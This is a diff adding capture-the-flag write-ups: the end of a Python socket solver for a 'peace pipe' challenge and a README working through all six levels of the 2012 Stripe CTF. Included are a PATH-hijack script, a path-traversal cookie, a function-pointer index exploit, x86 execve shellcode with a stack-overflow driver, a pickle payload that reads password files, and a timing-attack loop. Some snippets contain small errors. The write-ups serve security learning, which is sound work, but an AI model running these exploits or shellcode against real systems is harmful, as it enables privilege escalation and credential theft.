PORTw = 1433
|
||||||
|
HOST = 'wildwildweb.fluxfingers.net'
|
||||||
|
|
||||||
|
def peace_pipe():
|
||||||
|
|
||||||
|
""" Get the magic message from some user to calculate rm """
|
||||||
|
# create sockets
|
||||||
|
sm = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
sw = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
|
||||||
|
# connect to w
|
||||||
|
sw.connect((HOST, PORTw))
|
||||||
|
sw.recv(4096)
|
||||||
|
sw.send(b'makawee')
|
||||||
|
sw.recv(4096)
|
||||||
|
sec = sw.recv(4096)
|
||||||
|
tw = sec.split("did this:")[1].split("\n")[1].strip()
|
||||||
|
print "\nMagic from w to m: " + tw
|
||||||
|
|
||||||
|
# connect to m
|
||||||
|
sm.connect((HOST, PORTm))
|
||||||
|
sm.recv(4096)
|
||||||
|
sm.send(b'mrblack')
|
||||||
|
sm.recv(4096)
|
||||||
|
sec = sm.recv(4096)
|
||||||
|
tm = sec.split("did this:")[1].split("\n")[1].strip()
|
||||||
|
print "\nMagic from m to w: " + tm
|
||||||
|
|
||||||
|
# send w's magic to m's
|
||||||
|
sm.send(tw)
|
||||||
|
print sm.recv(4096)
|
||||||
|
|
||||||
|
# send m's magic to get the token
|
||||||
|
sw.send(tm)
|
||||||
|
token = sw.recv(4096)
|
||||||
|
token = token.split('\n')[1].strip()
|
||||||
|
print "Token is: " + token
|
||||||
|
|
||||||
|
# finally, send token back to m
|
||||||
|
sm.send(token)
|
||||||
|
print sm.recv(4096)
|
||||||
|
|
||||||
|
sm.close()
|
||||||
|
sw.close()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
peace_pipe()
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
Running it leads us to the flag:
|
||||||
|
```sh
|
||||||
|
python 300_peace_pipe.py
|
||||||
|
|
||||||
|
Magic from w to m: 2f2f5d280871947836e9b5665986c1b75e732d88ae3d464b65d24ea7e41c33c491060379ac4f3dc4a7231f43d6a11b5bfd3a780d8ac46bd1a4cfd99ac041434cb82c5941f17e68a4f180101ece166a1b4da6ea32d62455bd7472892ed9b67fe2122e0b331048e4a11d98422f04ec3063a3652a0e1a90e13a740905bb3a22c9b5e39d1e0fa97f10bff34d76243b9211afd1131b0f6e33d4d99c8069c462677ce67401214c943fee13252060aa02b8b1525ed0af8c9aa5ad5dee64dbb0c275dd6147754c7dfaf3218caf35d7837925215a04bb315e91441306ef0d29f0da733b7e4ac92b500dc522de11c5f5af58248ed5f762b854f40f0adf4b681a937d17a1c0
|
||||||
|
|
||||||
|
Magic from m to w: e9eedf64931d5f77f5d061a0f411f9d385144f33fe1419905fdb24a0537cc205a7f99e083f37f98af8553795f1a71f83b7924620790845c3a48bb71a9b70a0f9e5ab95dda40ec4e229bc6a6cd146779de74b7237e42d01e2538c093407165afc79776bbd9bcdefa1d9af27a39f17610b4b9060c2b0ca5203457061facdc68257433253366937cef469261492ac81c177f42f10beea386ddfa09069a5fa2ae2e39a41eeecebdba622b79231cd5f206d0a70c71aa3eb5f706a16c99173f79f97e7f3408b544df556e3779f6d49441c04d33438b9604392f90bca6c2a8c3181b12ec5d492ef2184b9db69fdd1b6247150e3b55f8ee65d113c5350b4b097abadddc9
|
||||||
|
Bit more truth is missing
|
||||||
|
|
||||||
|
Token is: 5QAWhcwSaQicM8LitDGz6To69sBtsO8ASL27zxql8hW8aziveW0B0epJz2PKIFo/K4A=
|
||||||
|
I knew you are able to see IT. Lets get drunk, I tell you where
|
||||||
|
flag{FreeBoozeForEverone-Party!}
|
||||||
|
```
|
575
CTFs_and_WarGames/2014/STRIPE_1-2-3/README.md
Normal file
575
CTFs_and_WarGames/2014/STRIPE_1-2-3/README.md
Normal file
@ -0,0 +1,575 @@
|
|||||||
|
# The First Stripe CTF
|
||||||
|
|
||||||
|
This post is about the first [Stripe](https://stripe.com/) CTF, which [happened at the beginning of 2012](https://stripe.com/blog/capture-the-flag-wrap-up). I was able to fully reproduce the game by using a [Live CD Image](http://www.janosgyerik.com/hacking-contest-on-a-live-cd/). Other options were [direct download and BitTorrent](https://stripe.com/blog/capture-the-flag-wrap-up).
|
||||||
|
|
||||||
|
This CTF was composed of 6 levels, and its style was very similar to other Wargames I've talked about before in this blog (for instance, check [OverTheWire's](http://overthewire.org/wargames/) [Natas](http://bt3gl.github.io/exploiting-the-web-in-20-lessons-natas.html), [Narnia](http://bt3gl.github.io/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html), and [Krypton](http://bt3gl.github.io/cryptography-war-beating-krypton.html)).
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
## Level 1: Environment Variables
|
||||||
|
|
||||||
|
When I booted the image, I got this first message:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
In the *level01* folder I found:
|
||||||
|
|
||||||
|
* A [setuid](http://linux.die.net/man/2/setuid) binary (a binary with access rights that allow users to run executables with permissions of the owner or the group).
|
||||||
|
|
||||||
|
* The C source code of this binary:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
Checking the code closely we notice the following lines:
|
||||||
|
```
|
||||||
|
printf("Current time: ");
|
||||||
|
fflush(stdout);
|
||||||
|
system("date");
|
||||||
|
```
|
||||||
|
|
||||||
|
A vulnerability becomes quite obvious!
|
||||||
|
|
||||||
|
First, if you use ```printf``` to send a text without a trailing ```\n``` to **stdout** (the screen), there is no guarantee that any of the text will appear so [fflush](http://man7.org/linux/man-pages/man3/fflush.3.html) is used to write everything that is buffered to **stdout**.
|
||||||
|
|
||||||
|
Second, ```system``` executes [any shell command you pass to it](http://linux.die.net/man/3/system). In the case above, it will find a command through the [PATH environment variable](http://en.wikipedia.org/wiki/PATH_%28variable%29).
|
||||||
|
|
||||||
|
It's clear that if we manage to change the variable ```date``` to some controlled exploit (such as ```cat /home/level01/.password```) we get the program to print the password.
|
||||||
|
|
||||||
|
Third, ```system``` outputs the date using a **relative path** for the **PATH**. We just need to change that to the directory where we keep our exploit (*e.g.*, ```pwd```) to have the system *forget* about the original date function.
|
||||||
|
|
||||||
|
The final script that leads to the next level's password looks like this:
|
||||||
|
|
||||||
|
```
|
||||||
|
#!/bin/sh
|
||||||
|
cd /tmp
|
||||||
|
echo '/bin/cat /home/level01/.password > date'
|
||||||
|
chmod +x date
|
||||||
|
export PATH=`pwd`:$PATH
|
||||||
|
/levels/level01/level01
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
## Level 2: Client's Cookies
|
||||||
|
|
||||||
|
This level is about finding a vulnerability in a PHP script that greets the user with her/his saved data.
|
||||||
|
|
||||||
|
The program implements this functionality by setting a cookie that saves the user's username and age. In future visits to the page, the program is then able to print *You’re NAME, and your age is AGE*.
|
||||||
|
|
||||||
|
Inspecting closely the code we see that the client's cookie is read without sanitizing its content:
|
||||||
|
|
||||||
|
```
|
||||||
|
<?php
|
||||||
|
$out = '';
|
||||||
|
if (!isset($_COOKIE['user_details'])) {
|
||||||
|
setcookie('user_details', $filename);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$out = file_get_contents('/tmp/level02/'.$_COOKIE['user_details']);
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
```
|
||||||
|
And then the results of this read is printed:
|
||||||
|
```
|
||||||
|
<html>
|
||||||
|
<p><?php echo $out ?></p>
|
||||||
|
</html>
|
||||||
|
```
|
||||||
|
|
||||||
|
An obvious way to exploit this vulnerability is by building our own [request](http://www.w3.org/Protocols/rfc2616/rfc2616-sec5.html) that makes the program read the password at */home/level02/.password*.
|
||||||
|
|
||||||
|
The cookie is set in the client side so we have lots of freedom to exploit it. For instance, we could use [Burp Suite](http://portswigger.net/burp/) to intercept the request and add the crafted cookie header. We could also use [Chrome Webinspector](https://chrome.google.com/webstore/detail/web-inspector/enibedkmbpadhfofcgjcphipflcbpelf?hl=en) to copy the [Authorization header](http://en.wikipedia.org/wiki/Basic_access_authentication) for the same purpose. The Cookie header would look like:
|
||||||
|
|
||||||
|
```
|
||||||
|
Cookie: user_details=../../home/level02/.password
|
||||||
|
```
|
||||||
|
|
||||||
|
Interestingly, it is also possible to solve this problem with just one instruction in the command line:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ curl --user level01:$(cat /home/level01/.password) --digest -b "user_details=../../home/level02/.password" localhost:8002/level02.php
|
||||||
|
```
|
||||||
|
|
||||||
|
Where the flag **--digest** enables HTTP authentication, and the flags **-b** or **--cookie** let us determine the cookie to be sent.
|
||||||
|
|
||||||
|
Note: In the LiveCD this level is modified to use Python and [Flask](http://flask.pocoo.org/docs/0.10/). Luckily, I had some previous experience in Flask (check out my [Anti-Social Network]()) and it was pretty easy to spot that the Pyhton code does *exactly* the same thing as the one above.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
## Level 3: Failure in Input Validation
|
||||||
|
|
||||||
|
The third level comes with another **setuid** binary with the purpose of modifying a string:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ /levels/level03
|
||||||
|
Usage: ./level03 INDEX STRING
|
||||||
|
Possible indices:
|
||||||
|
[0] to_upper [1] to_lower
|
||||||
|
[2] capitalize [3] length
|
||||||
|
```
|
||||||
|
|
||||||
|
The C code is also given:
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
#define NUM_FNS 4
|
||||||
|
|
||||||
|
typedef int (*fn_ptr)(const char *);
|
||||||
|
|
||||||
|
int to_upper(const char *str)
|
||||||
|
{(...)}
|
||||||
|
|
||||||
|
int to_lower(const char *str)
|
||||||
|
{(...)}
|
||||||
|
|
||||||
|
int capitalize(const char *str)
|
||||||
|
{(...)}
|
||||||
|
|
||||||
|
int length(const char *str)
|
||||||
|
{(...)}
|
||||||
|
|
||||||
|
int run(const char *str)
|
||||||
|
{
|
||||||
|
// This function is now deprecated.
|
||||||
|
return system(str);
|
||||||
|
}
|
||||||
|
|
||||||
|
int truncate_and_call(fn_ptr *fns, int index, char *user_string)
|
||||||
|
{
|
||||||
|
char buf[64];
|
||||||
|
// Truncate supplied string
|
||||||
|
strncpy(buf, user_string, sizeof(buf) - 1);
|
||||||
|
buf[sizeof(buf) - 1] = '\0';
|
||||||
|
return fns[index](buf);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
int index;
|
||||||
|
fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length};
|
||||||
|
|
||||||
|
if (argc != 3) {
|
||||||
|
printf("Usage: ./level03 INDEX STRING\n");
|
||||||
|
printf("Possible indices:\n[0] to_upper\t[1] to_lower\n");
|
||||||
|
printf("[2] capitalize\t[3] length\n");
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Parse supplied index
|
||||||
|
index = atoi(argv[1]);
|
||||||
|
|
||||||
|
if (index >= NUM_FNS) {
|
||||||
|
printf("Invalid index.\n");
|
||||||
|
printf("Possible indices:\n[0] to_upper\t[1] to_lower\n");
|
||||||
|
printf("[2] capitalize\t[3] length\n");
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
return truncate_and_call(fns, index, argv[2]);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
In problems like this, the attack surface is usually any place where there is input from the user. For this reason, our approach is to take a look at the arguments taken in the main function, checking for the common memory and overflow vulnerabilities in C.
|
||||||
|
|
||||||
|
A vulnerability is found in the failure of checking for negative inputs:
|
||||||
|
|
||||||
|
```
|
||||||
|
#define NUM_FNS 4
|
||||||
|
(...)
|
||||||
|
// Parse supplied index
|
||||||
|
index = atoi(argv[1]);
|
||||||
|
if (index >= NUM_FNS) {
|
||||||
|
(...)
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Moreover, the **index** variable is used in the function **truncate_and_call**, where the function **fns** can be overflowed:
|
||||||
|
|
||||||
|
```
|
||||||
|
typedef int (*fn_ptr)(const char *);
|
||||||
|
(...)
|
||||||
|
fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length};
|
||||||
|
(...)
|
||||||
|
int truncate_and_call(fn_ptr *fns, int index, char *user_string)
|
||||||
|
{
|
||||||
|
char buf[64];
|
||||||
|
// Truncate supplied string
|
||||||
|
strncpy(buf, user_string, sizeof(buf) - 1);
|
||||||
|
buf[sizeof(buf) - 1] = '\0';
|
||||||
|
return fns[index](buf);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
The exploitation plan becomes easier when we notice that right before **truncate_and_call** we have this convenient function:
|
||||||
|
|
||||||
|
```
|
||||||
|
int run(const char *str)
|
||||||
|
{
|
||||||
|
return system(str);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Description of the Exploit
|
||||||
|
|
||||||
|
To understand this problem we need to understand the [design of the stack frame](http://bt3gl.github.io/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html). With this in mind, the exploit is crafted as follows:
|
||||||
|
|
||||||
|
1) We input a malicious index that is negative (so it pass the bound checking) to have a shell running ```system("/bin/sh");``` (which will be able to read password of level3 because it will have its [UID](http://en.wikipedia.org/wiki/User_identifier_(Unix))).
|
||||||
|
|
||||||
|
|
||||||
|
2) We first need to find the memory location before **fns** (which should be writable). We fire up **gdb** and search for the pointer to **buf**, which is right before **fns** (this is different each time due to [ASLR](http://en.wikipedia.org/wiki/Address_space_layout_randomization)):
|
||||||
|
|
||||||
|
```
|
||||||
|
(gdb) p &buf
|
||||||
|
(char (*)[64]) 0xffbffa00
|
||||||
|
```
|
||||||
|
|
||||||
|
3) We check **index** (where 4 is **sizeof(*fns)**), and subtract **buf** from to the pointer to **fns**:
|
||||||
|
|
||||||
|
```
|
||||||
|
(gdb) p (0xffbffa6c - 0xffbffa00)/4
|
||||||
|
27
|
||||||
|
```
|
||||||
|
So running an argument such as */level/level03 -27 foo* calls **fns[-27]** which is **&fns-27** times the size of the pointer.
|
||||||
|
|
||||||
|
|
||||||
|
4) We will assign **buf** to a shellcode that will spawn the privileged terminal using the function **run**, which is at:
|
||||||
|
|
||||||
|
```
|
||||||
|
(gdb) p &run
|
||||||
|
(int (*)(const char *)) 0x80484ac
|
||||||
|
```
|
||||||
|
|
||||||
|
5) Stripe's machines were [little-endian](http://en.wikipedia.org/wiki/Endianness) so the address of **run** is **\xac\x84\x04\x08**. We write the memory location of **&run** into **buf**, since **buf** is just a ```strcpy``` of the second argument. In the end, we want to call:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ run('\xac\x84\x04\x08');
|
||||||
|
```
|
||||||
|
|
||||||
|
6) Running it with the length of the directory (remember that the function pointer must start on a multiple of 4 characters) gives our password:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ /levels/level03 -21 "cat /home/level03/.password $(printf '\xac\x84\x04\x08')
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
## Level 4: Classic Stack Overflow
|
||||||
|
|
||||||
|
Level 4 is about a classical Stack Overflow problem. Once again we get a **setuid** binary, together with the following code:
|
||||||
|
|
||||||
|
```
|
||||||
|
void fun(char *str)
|
||||||
|
{
|
||||||
|
char buf[1024];
|
||||||
|
strcpy(buf, str);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
if (argc != 2) {
|
||||||
|
printf("Usage: ./level04 STRING");
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
fun(argv[1]);
|
||||||
|
printf("Oh no! That didn't work!\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
In this challenge, the input string is received by the function **fun**, and then it is copied to the buffer. Since ```strcp``` does not perform bounds checking, if our string is larger than 1024 characters, it will keep copying until it reaches a NULL byte (0x00). This [overflows the stack](http://phrack.org/issues/49/14.html#article) and makes it possible to rewrite the **function return address**.
|
||||||
|
|
||||||
|
The input for the **fun** function is going to be 1024 bytes (which starts at **&buf**) with several [NOPs](http://en.wikipedia.org/wiki/NOP) plus the shellcode. The overflowed bytes have pointers to the address of **buf** (**&buf**). We use NOPs because the system uses stack randomization. If **&buf** points to any of the NOPs, the shellcode will be executed.
|
||||||
|
|
||||||
|
|
||||||
|
### Yet Another Shellcode Introduction
|
||||||
|
|
||||||
|
Shellcode can either be crafted directly in Assembly or reproduced in C and then disassembled in **gdb** and **objdump**. The second approach is more prone to errors.
|
||||||
|
|
||||||
|
Let's write the simplest shellcode we can think of, which simply spawns a shell:
|
||||||
|
|
||||||
|
```
|
||||||
|
#include <stdlib.h>
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
char *array[2];
|
||||||
|
array[0] = "/bin/sh";
|
||||||
|
array[1] = NULL;
|
||||||
|
execve(array[0], array, NULL);
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
With the following **Makefile** (I tend to write Makefiles for anything I compile in C):
|
||||||
|
```
|
||||||
|
shell: simplest_shellcode.c
|
||||||
|
gcc -static -g -o shell simplest_shellcode.c
|
||||||
|
```
|
||||||
|
|
||||||
|
Running **make** will give us our executable **shell**. Now, let's fire up **gdb**:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ gdb shell
|
||||||
|
(gdb) disas main
|
||||||
|
Dump of assembler code for function main:
|
||||||
|
0x00000000004004d0 <+0>: push %rbp
|
||||||
|
0x00000000004004d1 <+1>: mov %rsp,%rbp
|
||||||
|
0x00000000004004d4 <+4>: sub $0x10,%rsp
|
||||||
|
0x00000000004004d8 <+8>: movq $0x482be4,-0x10(%rbp)
|
||||||
|
0x00000000004004e0 <+16>: movq $0x0,-0x8(%rbp)
|
||||||
|
0x00000000004004e8 <+24>: mov -0x10(%rbp),%rax
|
||||||
|
0x00000000004004ec <+28>: lea -0x10(%rbp),%rcx
|
||||||
|
0x00000000004004f0 <+32>: mov $0x0,%edx
|
||||||
|
0x00000000004004f5 <+37>: mov %rcx,%rsi
|
||||||
|
0x00000000004004f8 <+40>: mov %rax,%rdi
|
||||||
|
0x00000000004004fb <+43>: callq 0x40c540 <execve>
|
||||||
|
0x0000000000400500 <+48>: mov $0x0,%edi
|
||||||
|
0x0000000000400505 <+53>: callq 0x400e60 <exit>
|
||||||
|
End of assembler dump.
|
||||||
|
```
|
||||||
|
|
||||||
|
The first line is updating the frame stack pointer (**%rsp**), moving it to the top of the stack:
|
||||||
|
```
|
||||||
|
0x00000000004004d0 <+0>: push %rbp
|
||||||
|
0x00000000004004d1 <+1>: mov %rsp,%rbp
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
Then it subtracts 16 bytes from **%rsp**, with 8 bytes of padding:
|
||||||
|
```
|
||||||
|
0x00000000004004d4 <+4>: sub $0x10,%rsp
|
||||||
|
```
|
||||||
|
|
||||||
|
We see this address **0x482be4** being moved to **%rsp**:
|
||||||
|
```
|
||||||
|
0x00000000004004d8 <+8>: movq $0x482be4,-0x10(%rbp)
|
||||||
|
```
|
||||||
|
|
||||||
|
It should be a pointer to ```/bin/sh```, and we can be sure by asking gdb:
|
||||||
|
```
|
||||||
|
(gdb) x/1s 0x482be4
|
||||||
|
0x482be4: "/bin/sh"
|
||||||
|
```
|
||||||
|
|
||||||
|
After that, **NULL** is pushed in:
|
||||||
|
```
|
||||||
|
0x00000000004004f0 <+32>: mov $0x0,%edx
|
||||||
|
```
|
||||||
|
|
||||||
|
Finally, **execve** is executed:
|
||||||
|
```
|
||||||
|
0x00000000004004fb <+43>: callq 0x40c540 <execve>
|
||||||
|
```
|
||||||
|
|
||||||
|
### Writing the Shellcode in Assembly
|
||||||
|
|
||||||
|
Now we are able to reproduce the code in Assembly. This is important: Stripe's machine was 32-bit, and the Assembly instructions are different from 64-bit (for instance, check the 64-bit shellcode I showed [here](http://bt3gl.github.io/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html)).
|
||||||
|
|
||||||
|
With an **l** added to the words, the above shellcode in 32-bit machines is:
|
||||||
|
|
||||||
|
```
|
||||||
|
.text
|
||||||
|
.globl _start
|
||||||
|
|
||||||
|
_start:
|
||||||
|
xorl %eax, %eax /* make eax equal to 0*/
|
||||||
|
pushl %eax /* pushes null*/
|
||||||
|
pushl $0x68732f2f /* push //sh */
|
||||||
|
pushl $0x6e69622f /* push /bin */
|
||||||
|
movl %esp, %ebx /* store /bin/sh */
|
||||||
|
pushl %eax /* use null*/
|
||||||
|
pushl %ebx /* use /bin/sh*/
|
||||||
|
movl %esp, %ecx /* wrutes array */
|
||||||
|
xorl %edx, %edx /* xor to make edx equal to 0 */
|
||||||
|
movb $0xb, %al /* execve system call #11 */
|
||||||
|
int $0x80 /* make an interrupt */
|
||||||
|
```
|
||||||
|
|
||||||
|
To assemble and link this in a 32-bit machine, we do:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ as -o shell.o shell.s
|
||||||
|
$ ld -m -o shell shell.o
|
||||||
|
```
|
||||||
|
|
||||||
|
In a 64-but machine, we do:
|
||||||
|
|
||||||
|
1. Add **.code32** in the top of the Assembly code.
|
||||||
|
2. Assemble with the **--32 flag**.
|
||||||
|
3. Link with the **-m elf_i386** flag.
|
||||||
|
|
||||||
|
Resulting in:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ as --32 -o shell.o shell.s
|
||||||
|
$ ld -m elf_i386 -o shell shell.o
|
||||||
|
```
|
||||||
|
|
||||||
|
Now, the last step is to get the executable **shell** in hexadecimal so we have the instructions for the shellcode. We use **objdump**:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ objdump -d shell
|
||||||
|
shell: file format elf32-i386
|
||||||
|
Disassembly of section .text:
|
||||||
|
08048054 <_start>:
|
||||||
|
8048054: 31 c0 xor %eax,%eax
|
||||||
|
8048056: 50 push %eax
|
||||||
|
8048057: 68 2f 2f 73 68 push $0x68732f2f
|
||||||
|
804805c: 68 2f 62 69 6e push $0x6e69622f
|
||||||
|
8048061: 89 e3 mov %esp,%ebx
|
||||||
|
8048063: 50 push %eax
|
||||||
|
8048064: 53 push %ebx
|
||||||
|
8048065: 89 e1 mov %esp,%ecx
|
||||||
|
8048067: 31 d2 xor %edx,%edx
|
||||||
|
8048069: b0 0b mov $0xb,%al
|
||||||
|
804806b: cd 80 int $0x80
|
||||||
|
```
|
||||||
|
|
||||||
|
Which in the little-endian representation is:
|
||||||
|
```
|
||||||
|
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### Solving the Problem
|
||||||
|
|
||||||
|
Now, all we need to do is write a snippet in any language which takes that shellcode and some NOPs to overflow the stack of the *level04*'s' binary. We write the exploit in Python:
|
||||||
|
|
||||||
|
```py
|
||||||
|
import struct, subprocess
|
||||||
|
|
||||||
|
STACK = 0x0804857b
|
||||||
|
NOP = \x90
|
||||||
|
SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
|
||||||
|
EXPLOIT = NOP * (1024 - len(SHELLCODE)) + SHELLCODE
|
||||||
|
|
||||||
|
stack_ptr = struct.pack("<I", STACK) * 500
|
||||||
|
array = "%s%s" % (EXPLOIT, stack_ptr)
|
||||||
|
|
||||||
|
while 1:
|
||||||
|
subprocess.call(["/levels/level04", array])
|
||||||
|
```
|
||||||
|
This solution is possible due to the [struct](https://docs.python.org/2/library/struct.html) module, which performs a conversion between Python and C values, and the [subprocess](https://docs.python.org/2/library/subprocess.html) module, which allows us to spawn new processes. The **struct.pack** method returns a string containing the values packet in the specified format (where **<** means little-endian and **I** is unsigned int).
|
||||||
|
|
||||||
|
A [one-line solution in Ruby](https://github.com/stripe-ctf), was given by Stripe and it's worth to mention:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ ruby -e 'print "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42" + "\x90"*987 + "\x7b\x85\x04\x08"'
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
## Level 5: Unpickle exploit
|
||||||
|
|
||||||
|
The fifth level is a uppercasing **web service** written in Python, which is split into an HTTP part, and a worker queue part.
|
||||||
|
|
||||||
|
In this service, a request can be sent with:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ curl localhost:9020 -d 'banana'
|
||||||
|
{
|
||||||
|
"processing_time": 5.0037501611238511e-06,
|
||||||
|
"queue_time": 0.4377421910476061,
|
||||||
|
"result": "BANANA"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
After inspecting the code, we concentrate in the suspicious **deserialize** function that contains the unsafe module [pickle](https://docs.python.org/2/library/pickle.html):
|
||||||
|
|
||||||
|
```py
|
||||||
|
def deserialize(serialized):
|
||||||
|
logger.debug('Deserializing: %r' % serialized)
|
||||||
|
parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL)
|
||||||
|
match = parser.match(serialized)
|
||||||
|
direction = match.group(1)
|
||||||
|
data = match.group(2)
|
||||||
|
job = pickle.loads(match.group(3))
|
||||||
|
return direction, data, job
|
||||||
|
```
|
||||||
|
|
||||||
|
This is used later in the **serialize** function:
|
||||||
|
|
||||||
|
```py
|
||||||
|
@staticmethod
|
||||||
|
def serialize(direction, data, job):
|
||||||
|
serialized = """type: %s; data: %s; job: %s""" % (direction, data, pickle.dumps(job))
|
||||||
|
logger.debug('Serialized to: %r' % serialized)
|
||||||
|
return serialized
|
||||||
|
```
|
||||||
|
|
||||||
|
So, the program serializes jobs with pickle and sends them to a series of workers to deserialize and process the job. Once again, the attack surface is in the user input, which is not properly sanitized: this function allows arbitrary data to be sent to **; job**.
|
||||||
|
|
||||||
|
We can exploit it by making the serialization code execute arbitrary commands by supplying a string such as **; job: <pickled>**. This will run some Python code that will give us the password when unpickled. A great module for this task is [Python's os.system](https://docs.python.org/2/library/os.html#os.system), which executes commands in a subshell.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
An example of exploit in Python is the following:
|
||||||
|
|
||||||
|
```py
|
||||||
|
import pickle, os
|
||||||
|
HOST = 'localhost:9020'
|
||||||
|
|
||||||
|
os.system("/usr/bin/curl", ['', HOST, '-d', \
|
||||||
|
"bla; job: cos\nsystem\n(S'cat /home/level05/.password \
|
||||||
|
> /tmp/pass'\ntR."], {})
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
## Level 6: Timing Attack
|
||||||
|
|
||||||
|
|
||||||
|
And we have reached the sixth level!
|
||||||
|
|
||||||
|
The goal in this level is to read the password from */home/the-flag/.password*. To complete this challenge, another **setuid** binary is given, which can be used to guess the password:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ ./level06 /home/the-flag/.password banana
|
||||||
|
Welcome to the password checker!
|
||||||
|
$ Ha ha, your password is incorrect!
|
||||||
|
```
|
||||||
|
|
||||||
|
This turns out to be a case of [Timing Attack](http://en.wikipedia.org/wiki/Timing_attack), where we are able to detect the output in **stderr** and in **stdout** to find the characters that form the password (by checking the response to wrong characters).
|
||||||
|
|
||||||
|
But there is a twist!
|
||||||
|
|
||||||
|
The program works as the following: for every input character, a loop is executed. A dot is printed after each character comparison. If the guess is wrong, the system forks a child process and runs a little slower (each loop has complexity O(n^2) to the guess size, where the maximum size is **MAX_ARG_STRLEN ~ 0.1 MB**).
|
||||||
|
|
||||||
|
|
||||||
|
There are several [elegant solutions in the Internet](https://github.com/stripe-ctf/stripe-ctf/blob/master/code/level06/level06.c), but a very simple possible shell exploit is the shown:
|
||||||
|
|
||||||
|
```
|
||||||
|
#!\bin\bash
|
||||||
|
for c in {A..Z} {a..z} {0..9}; do
|
||||||
|
echo $c
|
||||||
|
head -c35 file & sleep 0.1
|
||||||
|
/levels/level06 /home/the-flag/.password "$c"A 2> file
|
||||||
|
done
|
||||||
|
```
|
||||||
|
|
||||||
|
**And we get our flag! Fun! :) **
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [Andy Brody's Post](https://stripe.com/blog/capture-the-flag-wrap-up)
|
||||||
|
* [Stripe CTF Repository](https://github.com/stripe-ctf)
|
||||||
|
* Pickle Modules is unsafe! [Here](https://blog.nelhage.com/2011/03/exploiting-pickle/) and [here](http://penturalabs.wordpress.com/2011/03/17/python-cpickle-allows-for-arbitrary-code-execution/).
|
||||||
|
* Some other writeups: [here](http://blog.delroth.net/2012/03/my-stripe-ctf-writeup/), [here](https://khr0x40sh.wordpress.com/2012/02/), [here](http://du.nham.ca/blog/posts/2012/03/20/stripe-ctf/), and [here](https://isisblogs.poly.edu/2012/03/23/stripe-ctf-level01/).
|
||||||
|
|
||||||
|
|
||||||
|
--------------
|
||||||
|
|
@ -1,8 +1,6 @@
|
|||||||
# Recon
|
# Recon
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
### Searching the Internets
|
### Searching the Internets
|
||||||
|
|
||||||
The recon problems usually give you someone/something's name and a task or a hint to find some specific information about it. So the first thing is of course google it.
|
